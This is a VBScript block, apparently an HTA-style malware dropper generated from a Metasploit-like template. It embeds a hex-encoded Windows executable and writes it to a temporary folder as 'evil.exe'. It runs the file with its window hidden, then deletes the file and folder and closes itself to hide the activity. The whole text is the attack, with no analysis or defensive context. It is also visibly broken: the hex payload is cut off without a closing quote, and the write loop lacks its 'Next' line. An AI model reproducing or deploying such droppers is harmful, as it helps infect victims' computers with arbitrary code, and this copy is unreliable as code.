<script language="VBScript">
Function var_func()
var_shellcode = "4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010a0034e126660000000000000000e0000e030b0102290074000000580300000c0000e013000000100000009000000000400000100000000200000400000001000000040000000000000000d003000004000072d8030002004001000020000010000000001000001000000000000010000000000000000000000000e000000c07000000100100f0a802000000000000000000000000000000000000c00300500400000000000000000000000000000000000000000000000000006ca00000180000000000000000000000000000000000000044e10000080100000000000000000000000000000000000000000000000000002e7465787400000024730000001000000074000000040000000000000000000000000000600000602e6461746100000084040000009000000006000000780000000000000000000000000000400000c02e72646174610000cc09000000a00000000a0000007e0000000000000000000000000000400000402e65685f6672616
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>